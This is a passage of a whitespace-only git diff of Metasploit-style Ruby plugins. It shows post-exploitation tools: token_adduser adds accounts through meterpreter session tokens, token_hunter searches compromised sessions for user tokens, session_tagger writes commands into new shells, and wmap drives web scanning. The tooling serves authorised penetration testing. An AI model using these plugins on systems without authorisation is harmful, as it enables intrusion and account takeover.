is being associated with is passed in - # the framework parameter. Plugins should call the parent constructor when - # inheriting from Msf::Plugin to ensure that the framework attribute on - # their instance gets set. - # - def initialize(framework, opts) - super + # + # The constructor is called when an instance of the plugin is created. The + # framework instance that the plugin is being associated with is passed in + # the framework parameter. Plugins should call the parent constructor when + # inheriting from Msf::Plugin to ensure that the framework attribute on + # their instance gets set. + # + def initialize(framework, opts) + super - # If this plugin is being loaded in the context of a console application - # that uses the framework's console user interface driver, register - # console dispatcher commands. - add_console_dispatcher(ConsoleCommandDispatcher) + # If this plugin is being loaded in the context of a console application + # that uses the framework's console user interface driver, register + # console dispatcher commands. + add_console_dispatcher(ConsoleCommandDispatcher) - print_status("Sample plugin loaded.") - end + print_status("Sample plugin loaded.") + end - # - # The cleanup routine for plugins gives them a chance to undo any actions - # they may have done to the framework. For instance, if a console - # dispatcher was added, then it should be removed in the cleanup routine. - # - def cleanup - # If we had previously registered a console dispatcher with the console, - # deregister it now. - remove_console_dispatcher('Sample') - end + # + # The cleanup routine for plugins gives them a chance to undo any actions + # they may have done to the framework. For instance, if a console + # dispatcher was added, then it should be removed in the cleanup routine. + # + def cleanup + # If we had previously registered a console dispatcher with the console, + # deregister it now. + remove_console_dispatcher('Sample') + end - # - # This method returns a short, friendly name for the plugin. - # - def name - "sample" - end + # + # This method returns a short, friendly name for the plugin. + # + def name + "sample" + end - # - # This method returns a brief description of the plugin. It should be no - # more than 60 characters, but there are no hard limits. - # - def desc - "Demonstrates using framework plugins" - end + # + # This method returns a brief description of the plugin. It should be no + # more than 60 characters, but there are no hard limits. + # + def desc + "Demonstrates using framework plugins" + end protected end diff --git a/plugins/session_tagger.rb b/plugins/session_tagger.rb index 66d93ec6fa..92a40162b9 100644 --- a/plugins/session_tagger.rb +++ b/plugins/session_tagger.rb @@ -15,43 +15,43 @@ module Msf class Plugin::SessionTagger < Msf::Plugin - include Msf::SessionEvent + include Msf::SessionEvent - def on_session_open(session) - print_status("Hooked session #{session.sid} / #{session.session_host}") + def on_session_open(session) + print_status("Hooked session #{session.sid} / #{session.session_host}") - # XXX: Determine what type of session this is before writing to it + # XXX: Determine what type of session this is before writing to it - if (session.interactive?) - session.shell_write("MKDIR C:\\TaggedBy#{ENV['USER']}\n") - session.shell_write("mkdir /tmp/TaggedBy#{ENV['USER']}\n") - end + if (session.interactive?) + session.shell_write("MKDIR C:\\TaggedBy#{ENV['USER']}\n") + session.shell_write("mkdir /tmp/TaggedBy#{ENV['USER']}\n") + end - # - # Read output with session.shell_read() - # - end + # + # Read output with session.shell_read() + # + end - def on_session_close(session,reason='') - print_status("Hooked session #{session.sid} is shutting down") - end + def on_session_close(session,reason='') + print_status("Hooked session #{session.sid} is shutting down") + end - def initialize(framework, opts) - super - self.framework.events.add_session_subscriber(self) - end + def initialize(framework, opts) + super + self.framework.events.add_session_subscriber(self) + end - def cleanup - self.framework.events.remove_session_subscriber(self) - end + def cleanup + self.framework.events.remove_session_subscriber(self) + end - def name - "session_tagger" - end + def name + "session_tagger" + end - def desc - "Automatically interacts with new sessions" - end + def desc + "Automatically interacts with new sessions" + end end end diff --git a/plugins/socket_logger.rb b/plugins/socket_logger.rb index 277aae5b2e..3666f334ee 100644 --- a/plugins/socket_logger.rb +++ b/plugins/socket_logger.rb @@ -13,55 +13,55 @@ module Msf class Plugin::SocketLogger < Msf::Plugin - ### - # - # This class implements a socket communication logger - # - ### - class MySocketEventHandler - include Rex::Socket::Comm::Events + ### + # + # This class implements a socket communication logger + # + ### + class MySocketEventHandler + include Rex::Socket::Comm::Events - def initialize(path, prefix) - @path = path - @prefix = prefix - end + def initialize(path, prefix) + @path = path + @prefix = prefix + end - def on_before_socket_create(comm, param) - end + def on_before_socket_create(comm, param) + end - def on_socket_created(comm, sock, param) - # Sockets created by the exploit have MsfExploit set and MsfPayload not set - if (param.context['MsfExploit'] and (! param.context['MsfPayload'] )) - sock.extend(SocketLogger::SocketTracer) - sock.context = param.context - sock.params = param - sock.initlog(@path, @prefix) + def on_socket_created(comm, sock, param) + # Sockets created by the exploit have MsfExploit set and MsfPayload not set + if (param.context['MsfExploit'] and (! param.context['MsfPayload'] )) + sock.extend(SocketLogger::SocketTracer) + sock.context = param.context + sock.params = param + sock.initlog(@path, @prefix) - end - end - end + end + end + end - def initialize(framework, opts) - log_path = opts['path'] || "/tmp" - log_prefix = opts['prefix'] || "socket_" + def initialize(framework, opts) + log_path = opts['path'] || "/tmp" + log_prefix = opts['prefix'] || "socket_" - super - @eh = MySocketEventHandler.new(log_path, log_prefix) - Rex::Socket::Comm::Local.register_event_handler(@eh) - end + super + @eh = MySocketEventHandler.new(log_path, log_prefix) + Rex::Socket::Comm::Local.register_event_handler(@eh) + end - def cleanup - Rex::Socket::Comm::Local.deregister_event_handler(@eh) - end + def cleanup + Rex::Socket::Comm::Local.deregister_event_handler(@eh) + end - def name - "socket_logger" - end + def name + "socket_logger" + end - def desc - "Logs all socket operations to hex dumps in /tmp" - end + def desc + "Logs all socket operations to hex dumps in /tmp" + end protected end @@ -72,41 +72,41 @@ end module SocketLogger module SocketTracer - @@last_id = 0 + @@last_id = 0 - attr_accessor :context, :params + attr_accessor :context, :params - # Hook the write method - def write(buf, opts = {}) - @fd.puts "WRITE (#{buf.length} bytes)" - @fd.puts Rex::Text.to_hex_dump(buf) - super(buf, opts) - end + # Hook the write method + def write(buf, opts = {}) + @fd.puts "WRITE (#{buf.length} bytes)" + @fd.puts Rex::Text.to_hex_dump(buf) + super(buf, opts) + end - # Hook the read method - def read(length = nil, opts = {}) - r = super(length, opts) + # Hook the read method + def read(length = nil, opts = {}) + r = super(length, opts) - @fd.puts "READ (#{r.length} bytes)" - @fd.puts Rex::Text.to_hex_dump(r) - return r - end + @fd.puts "READ (#{r.length} bytes)" + @fd.puts Rex::Text.to_hex_dump(r) + return r + end - def close(*args) - super(*args) - @fd.close - end + def close(*args) + super(*args) + @fd.close + end - def initlog(path, prefix) - @log_path = path - @log_prefix = prefix - @log_id = @@last_id - @@last_id += 1 - @fd = File.open(File.join(@log_path, "#{@log_prefix}#{@log_id}.log"), "w") - @fd.puts "Socket created at #{Time.now}" - @fd.puts "Info: #{params.proto} #{params.localhost}:#{params.localport} -> #{params.peerhost}:#{params.peerport}" - @fd.puts "" - end + def initlog(path, prefix) + @log_path = path + @log_prefix = prefix + @log_id = @@last_id + @@last_id += 1 + @fd = File.open(File.join(@log_path, "#{@log_prefix}#{@log_id}.log"), "w") + @fd.puts "Socket created at #{Time.now}" + @fd.puts "Info: #{params.proto} #{params.localhost}:#{params.localport} -> #{params.peerhost}:#{params.peerport}" + @fd.puts "" + end end end diff --git a/plugins/sounds.rb b/plugins/sounds.rb index 53a7c99c32..88a9aff754 100644 --- a/plugins/sounds.rb +++ b/plugins/sounds.rb @@ -14,88 +14,88 @@ module Msf class Plugin::EventSounds < Msf::Plugin - attr_accessor :theme, :base, :queue, :queue_thread + attr_accessor :theme, :base, :queue, :queue_thread - include Msf::SessionEvent + include Msf::SessionEvent - def play_sound(event) - self.queue.push(event) - end + def play_sound(event) + self.queue.push(event) + end - def on_session_open(session) - event = 'session_open_' + session.type - play_sound(event) - end + def on_session_open(session) + event = 'session_open_' + session.type + play_sound(event) + end - def on_session_close(session, reason='') - sid = session.sid.to_s - play_sound('session') - sid.unpack("C*").each do |c| - play_sound("num" + [c].pack("C")) - end - play_sound('closed') - end + def on_session_close(session, reason='') + sid = session.sid.to_s + play_sound('session') + sid.unpack("C*").each do |c| + play_sound("num" + [c].pack("C")) + end + play_sound('closed') + end - def on_plugin_load - play_sound('plugin_load') - end + def on_plugin_load + play_sound('plugin_load') + end - def on_plugin_unload - play_sound('plugin_unload') - end + def on_plugin_unload + play_sound('plugin_unload') + end - def start_sound_queue - self.queue_thread = Thread.new do - begin - while(true) - while(event = self.queue.shift) - path = ::File.join(self.base, self.theme, "#{event}.wav") - if(::File.exists?(path)) - Rex::Compat.play_sound(path) - else - print_status("Warning: sound file not found: #{path}") - end - end - select(nil, nil, nil, 0.25) - end - rescue ::Exception => e - print_status("Sound plugin: fatal error #{e} #{e.backtrace}") - end - end - end + def start_sound_queue + self.queue_thread = Thread.new do + begin + while(true) + while(event = self.queue.shift) + path = ::File.join(self.base, self.theme, "#{event}.wav") + if(::File.exists?(path)) + Rex::Compat.play_sound(path) + else + print_status("Warning: sound file not found: #{path}") + end + end + select(nil, nil, nil, 0.25) + end + rescue ::Exception => e + print_status("Sound plugin: fatal error #{e} #{e.backtrace}") + end + end + end - def stop_sound_queue - self.queue_thread.kill if self.queue_thread - self.queue_thread = nil - self.queue = [] - end + def stop_sound_queue + self.queue_thread.kill if self.queue_thread + self.queue_thread = nil + self.queue = [] + end - def initialize(framework, opts) - super + def initialize(framework, opts) + super - self.queue = [] - self.theme = opts['theme'] || 'default' - self.base = File.join(Msf::Config.install_root, "data", "sounds") - self.framework.events.add_session_subscriber(self) - start_sound_queue + self.queue = [] + self.theme = opts['theme'] || 'default' + self.base = File.join(Msf::Config.install_root, "data", "sounds") + self.framework.events.add_session_subscriber(self) + start_sound_queue - self.on_plugin_load - end + self.on_plugin_load + end - def cleanup - self.on_plugin_unload - self.framework.events.remove_session_subscriber(self) - stop_sound_queue - end + def cleanup + self.on_plugin_unload + self.framework.events.remove_session_subscriber(self) + stop_sound_queue + end - def name - "sounds" - end + def name + "sounds" + end - def desc - "Automatically plays a sound when various framework events occur" - end + def desc + "Automatically plays a sound when various framework events occur" + end end end diff --git a/plugins/thread.rb b/plugins/thread.rb index abf329a89e..bcc9e47036 100644 --- a/plugins/thread.rb +++ b/plugins/thread.rb @@ -15,121 +15,121 @@ module Msf ### class Plugin::ThreadTest < Msf::Plugin - ### - # - # This class implements a sample console command dispatcher. - # - ### - class ConsoleCommandDispatcher - include Msf::Ui::Console::CommandDispatcher + ### + # + # This class implements a sample console command dispatcher. + # + ### + class ConsoleCommandDispatcher + include Msf::Ui::Console::CommandDispatcher - # - # The dispatcher's name. - # - def name - "ThreadTest" - end + # + # The dispatcher's name. + # + def name + "ThreadTest" + end - # - # Returns the hash of commands supported by this dispatcher. - # - def commands - { - "start_thread" => "Start a background thread that writes to the console", - "stop_thread" => "Stop a background thread", - "list_thread" => "List running threads" - } - end + # + # Returns the hash of commands supported by this dispatcher. + # + def commands + { + "start_thread" => "Start a background thread that writes to the console", + "stop_thread" => "Stop a background thread", + "list_thread" => "List running threads" + } + end - def cmd_start_thread(*args) - if (@mythread) - print_line("Test thread is already running") - return - end + def cmd_start_thread(*args) + if (@mythread) + print_line("Test thread is already running") + return + end - @mythread = ::Thread.new { - while(true) - print_line("--- test thread ---") - select(nil, nil, nil, 5) - end - } - print_line("Test thread created") - end + @mythread = ::Thread.new { + while(true) + print_line("--- test thread ---") + select(nil, nil, nil, 5) + end + } + print_line("Test thread created") + end - def cmd_stop_thread(*args) - if (! @mythread) - print_line("No test thread is running") - return - end + def cmd_stop_thread(*args) + if (! @mythread) + print_line("No test thread is running") + return + end - @mythread.kill - @mythread = nil - print_line("Test thread stopped") - end + @mythread.kill + @mythread = nil + print_line("Test thread stopped") + end - def cmd_list_thread(*args) - Thread.list.each do |t| - print_line(sprintf("Thread: 0x%.8x (%s/%d) (%s)", t.object_id, t.status, t.priority, t.tsource)) - print_line("") - end - end - end + def cmd_list_thread(*args) + Thread.list.each do |t| + print_line(sprintf("Thread: 0x%.8x (%s/%d) (%s)", t.object_id, t.status, t.priority, t.tsource)) + print_line("") + end + end + end - # - # The constructor is called when an instance of the plugin is created. The - # framework instance that the plugin is being associated with is passed in - # the framework parameter. Plugins should call the parent constructor when - # inheriting from Msf::Plugin to ensure that the framework attribute on - # their instance gets set. - # - def initialize(framework, opts) - super + # + # The constructor is called when an instance of the plugin is created. The + # framework instance that the plugin is being associated with is passed in + # the framework parameter. Plugins should call the parent constructor when + # inheriting from Msf::Plugin to ensure that the framework attribute on + # their instance gets set. + # + def initialize(framework, opts) + super - # If this plugin is being loaded in the context of a console application - # that uses the framework's console user interface driver, register - # console dispatcher commands. - add_console_dispatcher(ConsoleCommandDispatcher) + # If this plugin is being loaded in the context of a console application + # that uses the framework's console user interface driver, register + # console dispatcher commands. + add_console_dispatcher(ConsoleCommandDispatcher) - # Extend the thread to track the calling source - Thread.class_eval(" - attr_accessor :tsource + # Extend the thread to track the calling source + Thread.class_eval(" + attr_accessor :tsource - alias initialize_old initialize + alias initialize_old initialize - def initialize(&block) - self.tsource = caller(1) - initialize_old(&block) - end - ") + def initialize(&block) + self.tsource = caller(1) + initialize_old(&block) + end + ") - print_status("ThreadTest plugin loaded.") - end + print_status("ThreadTest plugin loaded.") + end - # - # The cleanup routine for plugins gives them a chance to undo any actions - # they may have done to the framework. For instance, if a console - # dispatcher was added, then it should be removed in the cleanup routine. - # - def cleanup - # If we had previously registered a console dispatcher with the console, - # deregister it now. - remove_console_dispatcher('ThreadTest') - end + # + # The cleanup routine for plugins gives them a chance to undo any actions + # they may have done to the framework. For instance, if a console + # dispatcher was added, then it should be removed in the cleanup routine. + # + def cleanup + # If we had previously registered a console dispatcher with the console, + # deregister it now. + remove_console_dispatcher('ThreadTest') + end - # - # This method returns a short, friendly name for the plugin. - # - def name - "threadtest" - end + # + # This method returns a short, friendly name for the plugin. + # + def name + "threadtest" + end - # - # This method returns a brief description of the plugin. It should be no - # more than 60 characters, but there are no hard limits. - # - def desc - "Thread testing plugin" - end + # + # This method returns a brief description of the plugin. It should be no + # more than 60 characters, but there are no hard limits. + # + def desc + "Thread testing plugin" + end protected end diff --git a/plugins/token_adduser.rb b/plugins/token_adduser.rb index b3cd13e046..8fa48d8f8d 100644 --- a/plugins/token_adduser.rb +++ b/plugins/token_adduser.rb @@ -15,103 +15,103 @@ module Msf class Plugin::TokenAdduser < Msf::Plugin - class TokenCommandDispatcher - include Msf::Ui::Console::CommandDispatcher + class TokenCommandDispatcher + include Msf::Ui::Console::CommandDispatcher - def name - "Token Adduser" - end + def name + "Token Adduser" + end - def commands - { - 'token_adduser' => "Attempt to add an account using all connected meterpreter session tokens" - } - end + def commands + { + 'token_adduser' => "Attempt to add an account using all connected meterpreter session tokens" + } + end - def cmd_token_adduser(*args) + def cmd_token_adduser(*args) - opts = Rex::Parser::Arguments.new( - "-h" => [ true, "Add account to host"], - ) + opts = Rex::Parser::Arguments.new( + "-h" => [ true, "Add account to host"], + ) - # This is ugly. - if (args.length == 0) - print_line("Usage: token_adduser [options] <username> <password>") - print_line(opts.usage) - return - end - - opt_user_pass = [] - username = nil - password = nil - host = nil - opts.parse(args) do |opt, idx, val| - case opt - when "-h" - host = val + # This is ugly. + if (args.length == 0) + print_line("Usage: token_adduser [options] <username> <password>") + print_line(opts.usage) + return + end + + opt_user_pass = [] + username = nil + password = nil + host = nil + opts.parse(args) do |opt, idx, val| + case opt + when "-h" + host = val - else - # Excuse my weak ruby skills. I'm sure there's a better way to get username and password - # from the args. - opt_user_pass << val - end - end + else + # Excuse my weak ruby skills. I'm sure there's a better way to get username and password + # from the args. + opt_user_pass << val + end + end - # Again, I'm sure there's a better way to do this. - username = opt_user_pass[0] - password = opt_user_pass[1] + # Again, I'm sure there's a better way to do this. + username = opt_user_pass[0] + password = opt_user_pass[1] - tokens_del = {} - tokens_imp = {} + tokens_del = {} + tokens_imp = {} - framework.sessions.each_key do |sid| - session = framework.sessions[sid] - next unless session.type == "meterpreter" + framework.sessions.each_key do |sid| + session = framework.sessions[sid] + next unless session.type == "meterpreter" - print_status(">> Opening session #{session.sid} / #{session.session_host}") + print_status(">> Opening session #{session.sid} / #{session.session_host}") - unless session.incognito - session.core.use("incognito") - end + unless session.incognito + session.core.use("incognito") + end - unless session.incognito - print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}") - next - end - #print "DEBUG #{username} #{password}\n" - res = session.incognito.incognito_add_user(host,username,password) - if(res) - print "#{res}\n" + unless session.incognito + print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}") + next + end + #print "DEBUG #{username} #{password}\n" + res = session.incognito.incognito_add_user(host,username,password) + if(res) + print "#{res}\n" - # Currently only stops on success if a user is trying to be added to a specific - # host. I can't think of a good reason to stop on success (or even make it an option) - # when trying to add a user to local sessions. - if (host) - if res =~ /\[\+\] Successfully|\[\-\] Password does not meet complexity requirements|\[\-\] User already exists/ - break - end - end - end - end - end - end + # Currently only stops on success if a user is trying to be added to a specific + # host. I can't think of a good reason to stop on success (or even make it an option) + # when trying to add a user to local sessions. + if (host) + if res =~ /\[\+\] Successfully|\[\-\] Password does not meet complexity requirements|\[\-\] User already exists/ + break + end + end + end + end + end + end - def initialize(framework, opts) - super - add_console_dispatcher(TokenCommandDispatcher) - end + def initialize(framework, opts) + super + add_console_dispatcher(TokenCommandDispatcher) + end - def cleanup - remove_console_dispatcher('Token Adduser') - end + def cleanup + remove_console_dispatcher('Token Adduser') + end - def name - "token_adduser" - end + def name + "token_adduser" + end - def desc - "Attempt to add an account using all connected meterpreter session tokens" - end + def desc + "Attempt to add an account using all connected meterpreter session tokens" + end end end diff --git a/plugins/token_hunter.rb b/plugins/token_hunter.rb index 04dcff00c9..19fde03660 100644 --- a/plugins/token_hunter.rb +++ b/plugins/token_hunter.rb @@ -7,147 +7,147 @@ module Msf class Plugin::TokenHunter < Msf::Plugin - class TokenCommandDispatcher - include Msf::Ui::Console::CommandDispatcher + class TokenCommandDispatcher + include Msf::Ui::Console::CommandDispatcher - def name - "Token Hunter" - end + def name + "Token Hunter" + end - def commands - { - 'token_hunt_user' => "Scan all connected meterpreter sessions for active tokens corresponding to one or more users" - } - end + def commands + { + 'token_hunt_user' => "Scan all connected meterpreter sessions for active tokens corresponding to one or more users" + } + end - def cmd_token_hunt_user(*args) + def cmd_token_hunt_user(*args) - opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-f" => [ true, "A file containing a list of users to search for (one per line)"] - ) + opts = Rex::Parser::Arguments.new( + "-h" => [ false, "This help menu"], + "-f" => [ true, "A file containing a list of users to search for (one per line)"] + ) - opt_userfile = nil - opt_users = [] + opt_userfile = nil + opt_users = [] - opts.parse(args) do |opt, idx, val| - case opt - when "-h" - print_line("Usage: token_hunt_user [options] <username> [username] .. [username]") - print_line(opts.usage) - return - when "-f" - opt_userfile = val - else - opt_users << val - end - end + opts.parse(args) do |opt, idx, val| + case opt + when "-h" + print_line("Usage: token_hunt_user [options] <username> [username] .. [username]") + print_line(opts.usage) + return + when "-f" + opt_userfile = val + else + opt_users << val + end + end - if(opt_userfile) - ::File.open(opt_userfile, "rb") do |fd| - fd.each_line do |line| - line.strip! - next if line.empty? - next if line =~ /^#/ - opt_users << line - end - end - end + if(opt_userfile) + ::File.open(opt_userfile, "rb") do |fd| + fd.each_line do |line| + line.strip! + next if line.empty? + next if line =~ /^#/ + opt_users << line + end + end + end - opt_users.uniq! + opt_users.uniq! - tokens_del = {} - tokens_imp = {} + tokens_del = {} + tokens_imp = {} - framework.sessions.each_key do |sid| - session = framework.sessions[sid] - next if session.type != "meterpreter" + framework.sessions.each_key do |sid| + session = framework.sessions[sid] + next if session.type != "meterpreter" - print_status(">> Scanning session #{session.sid} / #{session.session_host}") + print_status(">> Scanning session #{session.sid} / #{session.session_host}") - if(! session.incognito) - session.core.use("incognito") - end + if(! session.incognito) + session.core.use("incognito") + end - if(! session.incognito) - print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}") - next - end + if(! session.incognito) + print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}") + next + end - res = session.incognito.incognito_list_tokens(0) - if(res) - res["delegation"].split("\n").each do |user| + res = session.incognito.incognito_list_tokens(0) + if(res) + res["delegation"].split("\n").each do |user| - opt_users.each do |needle| + opt_users.each do |needle| - ndom,nusr = needle.split("\\") - if(not nusr) - nusr = ndom - ndom = nil - end + ndom,nusr = needle.split("\\") + if(not nusr) + nusr = ndom + ndom = nil + end - if(not user.nil? and ndom and user.strip.downcase == needle.strip.downcase) - print_status("FOUND: #{session.sid} - #{session.session_host} - #{user} (delegation)") - next - end + if(not user.nil? and ndom and user.strip.downcase == needle.strip.downcase) + print_status("FOUND: #{session.sid} - #{session.session_host} - #{user} (delegation)") + next + end - fdom,fusr = user.split("\\") + fdom,fusr = user.split("\\") - if (not fusr.nil? and ! ndom and fusr.strip.downcase == nusr.strip.downcase) - print_status("FOUND: #{session.sid} - #{session.session_host} - #{user} (delegation)") - end - end + if (not fusr.nil? and ! ndom and fusr.strip.downcase == nusr.strip.downcase) + print_status("FOUND: #{session.sid} - #{session.session_host} - #{user} (delegation)") + end + end - tokens_del[user] ||= [] - tokens_del[user] << session.sid - end + tokens_del[user] ||= [] + tokens_del[user] << session.sid + end - res["impersonation"].split("\n").each do |user| + res["impersonation"].split("\n").each do |user| - opt_users.each do |needle| - ndom,nusr = needle.split("\\") - if(not nusr) - nusr = ndom - ndom = nil - end + opt_users.each do |needle| + ndom,nusr = needle.split("\\") + if(not nusr) + nusr = ndom + ndom = nil + end - if(not user.nil? and ndom and user.strip.downcase == needle.strip.downcase) - print_status(">> Found #{session.sid} - #{session.session_host} - #{user} (impersonation)") - next - end + if(not user.nil? and ndom and user.strip.downcase == needle.strip.downcase) + print_status(">> Found #{session.sid} - #{session.session_host} - #{user} (impersonation)") + next + end - fdom,fusr = user.split("\\") - if (not fusr.nil? and ! ndom and fusr.strip.downcase == nusr.strip.downcase) - print_status(">> Found #{session.sid} - #{session.session_host} - #{user} (impersonation)") - end - end + fdom,fusr = user.split("\\") + if (not fusr.nil? and ! ndom and fusr.strip.downcase == nusr.strip.downcase) + print_status(">> Found #{session.sid} - #{session.session_host} - #{user} (impersonation)") + end + end - tokens_imp[user] ||= [] - tokens_imp[user] << session.sid - end - end - end - end - end + tokens_imp[user] ||= [] + tokens_imp[user] << session.sid + end + end + end + end + end - def initialize(framework, opts) - super - add_console_dispatcher(TokenCommandDispatcher) - end + def initialize(framework, opts) + super + add_console_dispatcher(TokenCommandDispatcher) + end - def cleanup - remove_console_dispatcher('Token Hunter') - end + def cleanup + remove_console_dispatcher('Token Hunter') + end - def name - "token_hunter" - end + def name + "token_hunter" + end - def desc - "Search all active meterpreter sessions for specific tokens" - end + def desc + "Search all active meterpreter sessions for specific tokens" + end end end diff --git a/plugins/wmap.rb b/plugins/wmap.rb index cc7217b6b4..d64471b4be 100644 --- a/plugins/wmap.rb +++ b/plugins/wmap.rb @@ -13,2277 +13,2277 @@ require 'msf/core/rpc/v10/client' module Msf class Plugin::Wmap < Msf::Plugin - class WmapCommandDispatcher - - attr_accessor :wmapmodules # Enabled Wmap modules - attr_accessor :targets # Targets - attr_accessor :lastsites # Temp location of previously obtained sites - attr_accessor :rpcarr # Array or rpc connections - attr_accessor :njobs # Max number of jobs - attr_accessor :nmaxdisplay # Flag to stop displaying the same mesg - attr_accessor :runlocal # Flag to run local modules only - attr_accessor :masstop # Flag to stop everything - attr_accessor :killwhenstop # Kill process when exiting - - include Msf::Ui::Console::CommandDispatcher - - def name - "wmap" - end - - # - # The initial command set - # - def commands - { - "wmap_targets" => "Manage targets", - "wmap_sites" => "Manage sites", - "wmap_nodes" => "Manage nodes", - "wmap_run" => "Test targets", - "wmap_modules" => "Manage wmap modules", - "wmap_vulns" => "Display web vulns", - } - end - - def cmd_wmap_vulns(*args) - args.push("-h") if args.length == 0 - - while (arg = args.shift) - case arg - when '-l' - view_vulns - return - when '-h' - print_status("Usage: wmap_vulns [options]") - print_line("\t-h Display this help text") - print_line("\t-l Display web vulns table") - - print_line("") - return - else - print_error("Unknown flag.") - return - end - end - end - - - def cmd_wmap_modules(*args) - args.push("-h") if args.length == 0 - - while (arg = args.shift) - case arg - when '-l' - view_modules - return - when '-r' - load_wmap_modules(true) - return - when '-h' - print_status("Usage: wmap_modules [options]") - print_line("\t-h Display this help text") - print_line("\t-l List all wmap enabled modules") - print_line("\t-r Reload wmap modules") - - print_line("") - return - else - print_error("Unknown flag.") - return - end - end - end - - def cmd_wmap_targets(*args) - args.push("-h") if args.length == 0 - - while (arg = args.shift) - case arg - when '-c' - self.targets = Hash.new() - when '-l' - view_targets - return - when '-t' - process_urls(args.shift) - when '-d' - process_ids(args.shift) - when '-h' - print_status("Usage: wmap_targets [options]") - print_line("\t-h Display this help text") - print_line("\t-t [urls] Define target sites (vhost1,url[space]vhost2,url) ") - print_line("\t-d [ids] Define target sites (id1, id2, id3 ...)") - print_line("\t-c Clean target sites list") - print_line("\t-l List all target sites") - - print_line("") - return - else - print_error("Unknown flag.") - return - end - end - end - - def cmd_wmap_sites(*args) - args.push("-h") if args.length == 0 - - while (arg = args.shift) - case arg - when '-a' - s = add_web_site(args.shift) - if s - print_status("Site created.") - else - print_error("Unable to create site") - end - when '-d' - del_idx = args - if del_idx - delete_sites(del_idx.select {|d| d =~ /^[0-9]*$/}.map(&:to_i).uniq) - return - else - print_error("Provide index of site to delete") - end - when '-l' - view_sites - return - when '-s' - u = args.shift - l = args.shift - s = args.shift - - if not u - return - end - - if l == nil or l.empty? - l = 200 - s = true - else - l = l.to_i - s = false - end - - if u.include? 'http' - # Parameters are in url form - view_site_tree(u,l,s) - else - # Parameters are digits - if !self.lastsites or self.lastsites.length == 0 - view_sites - print_status ("Web sites ids. referenced from previous table.") - end - - target_whitelist = [] - ids = u.to_s.split(/,/) - - ids.each do |id| - next if id.to_s.strip.empty? - - if id.to_i > self.lastsites.length - print_error("Skipping id #{id}...") - else - target_whitelist << self.lastsites[id.to_i] - #print_status("Loading #{self.lastsites[id.to_i]}.") - end - end - - # Skip the DB entirely if no matches - return if target_whitelist.length == 0 - - if not self.targets - self.targets = Hash.new() - end - - target_whitelist.each do |ent| - view_site_tree(ent,l,s) - end - end - return - when '-h' - print_status("Usage: wmap_sites [options]") - print_line("\t-h Display this help text") - print_line("\t-a [url] Add site (vhost,url)") - print_line("\t-d [ids] Delete sites (separate ids with space)") - print_line("\t-l List all available sites") - print_line("\t-s [id] Display site structure (vhost,url|ids) (level)") - - print_line("") - return - else - print_error("Unknown flag.") - return - end - end - end - - def cmd_wmap_nodes(*args) - - if not self.rpcarr - self.rpcarr=Hash.new() - end - - args.push("-h") if args.length == 0 - - while (arg = args.shift) - case arg - when '-a' - h = args.shift - r = args.shift - s = args.shift - u = args.shift - p = args.shift - - res = rpc_add_node(h,r,s,u,p,false) - if res - print_status("Node created.") - else - print_error("Unable to create node") - end - when '-c' - idref = args.shift - - if not idref - print_error("No id defined") - return - end - if idref.upcase == 'ALL' - print_status("All nodes removed") - self.rpcarr = Hash.new() - else - idx=0 - self.rpcarr.each do |k,v| - if idx == idref.to_i - self.rpcarr.delete(k) - print_status("Node deleted #{k}") - end - idx += 1 - end - end - when '-d' - host = args.shift - port = args.shift - user = args.shift - pass = args.shift - dbname = args.shift - - res = rpc_db_nodes(host,port,user,pass,dbname) - if res - print_status("OK.") - else - print_error("Error") - end - when '-l' - rpc_list_nodes - return - when '-j' - rpc_view_jobs - return - when '-k' - node = args.shift - jid = args.shift - rpc_kill_node(node,jid) - return - when '-h' - print_status("Usage: wmap_nodes [options]") - print_line("\t-h Display this help text") - print_line("\t-c id Remove id node (Use ALL for ALL nodes") - print_line("\t-a host port ssl user pass Add node") - print_line("\t-d host port user pass db Force all nodes to connect to db") - print_line("\t-j View detailed jobs") - print_line("\t-k ALL|id ALL|job_id Kill jobs on node") - print_line("\t-l List all current nodes") - - print_line("") - return - else - print_error("Unknown flag.") - return - end - end - end - - def cmd_wmap_run(*args) - # Stop everything - self.masstop = false - self.killwhenstop = true - - trap("INT") { - print_error("Stopping execution...") - self.masstop = true - if self.killwhenstop - rpc_kill_node('ALL','ALL') - end - } - - # Max numbers of concurrent jobs per node - self.njobs = 25 - self.nmaxdisplay = false - self.runlocal = false - - # Formating - sizeline = 60 - - wmap_show = 2**0 - wmap_expl = 2**1 - - # Exclude files can be modified by setting datastore['WMAP_EXCLUDE'] - wmap_exclude_files = '.*\.(gif|jpg|png*)$' - - run_wmap_ssl = true - run_wmap_server = true - run_wmap_dir_file = true - run_wmap_query = true - run_wmap_unique_query = true - run_wmap_generic = true - - # If module supports datastore['VERBOSE'] - moduleverbose = false - - showprogress = false - - if not self.rpcarr - self.rpcarr = Hash.new() - end - - if not run_wmap_ssl - print_status("Loading of wmap ssl modules disabled.") - end - if not run_wmap_server - print_status("Loading of wmap server modules disabled.") - end - if not run_wmap_dir_file - print_status("Loading of wmap dir and file modules disabled.") - end - if not run_wmap_query - print_status("Loading of wmap query modules disabled.") - end - if not run_wmap_unique_query - print_status("Loading of wmap unique query modules disabled.") - end - if not run_wmap_generic - print_status("Loading of wmap generic modules disabled.") - end - - stamp = Time.now.to_f - mode = 0 - - eprofile = [] - using_p = false - using_m = false - usinginipath = false - - mname = '' - inipathname = '/' - - args.push("-h") if args.length == 0 - - while (arg = args.shift) - case arg - when '-t' - mode |= wmap_show - when '-e' - mode |= wmap_expl - - profile = args.shift - - if profile - print_status("Using profile #{profile}.") - - begin - File.open(profile).each do |str| - if not str.include? '#' - # Not a comment - modname = str.strip - if not modname.empty? - eprofile << modname - end - end - using_p = true - end - rescue - print_error("Profile not found or invalid.") - return - end - else - print_status("Using ALL wmap enabled modules.") - end - when '-m' - mode |= wmap_expl - - mname = args.shift - - if mname - print_status("Using module #{mname}.") - end - using_m = true - when '-p' - mode |= wmap_expl - - inipathname = args.shift - - if inipathname - print_status("Using initial path #{inipathname}.") - end - usinginipath = true - - when '-h' - print_status("Usage: wmap_run [options]") - print_line("\t-h Display this help text") - print_line("\t-t Show all enabled modules") - print_line("\t-m [regex] Launch only modules that name match provided regex.") - print_line("\t-p [regex] Only test path defined by regex.") - print_line("\t-e [/path/to/profile] Launch profile modules against all matched targets.") - print_line("\t (No profile file runs all enabled modules.)") - print_line("") - return - 